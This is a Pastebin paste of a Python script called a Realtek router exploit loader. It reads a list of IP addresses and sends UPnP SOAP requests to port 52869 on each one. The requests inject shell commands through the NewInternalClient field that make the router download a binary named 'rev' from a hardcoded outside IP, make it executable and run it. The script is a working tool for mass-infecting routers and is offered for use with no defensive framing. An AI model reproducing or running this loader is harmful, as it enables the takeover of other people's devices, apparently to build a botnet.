LNO_LiGhT

(UPnP) Realtek Router Exploit Loader | By; LiGhT

Jan 8th, 2018
3,275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.63 KB | None | 0 0
  1. #! python !#
  2.  
  3. # Reaktek Loader | By; LiGhT
  4.  
  5. import threading, sys, time, random, socket, re, os, requests
  6.  
  7. ipz = open(sys.argv[1], "r").readlines()
  8. p = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;wget http://69.64.61.103/rev`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  9. pp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /var/rev`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  10. ppp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;./rev`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  11. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  12.  
  13. class reeltek(threading.Thread):
  14.         def __init__ (self, ip):
  15.             threading.Thread.__init__(self)
  16.             self.ip = str(ip).rstrip('\n')
  17.         def run(self):
  18.             try:
  19.                 url = "http://" + self.ip + ":52869/picsdesc.xml"
  20.                 r = requests.post(url, timeout=5, headers=headerlist, data=p)
  21.                 r2 = requests.post(url, timeout=2.5, headers=headerlist, data=pp)
  22.                 r3 = requests.post(url, timeout=2.5, headers=headerlist, data=ppp)
  23.                 print "[Realtek] Payload Sent %s"%(self.ip)
  24.             except:
  25.                 pass
  26.  
  27. for ip in ipz:
  28.     try:
  29.         n = reeltek(ip)
  30.         n.start()
  31.         time.sleep(0.01)
  32.     except:
  33.         pass
Advertisement
Add Comment
Please, Sign In to add comment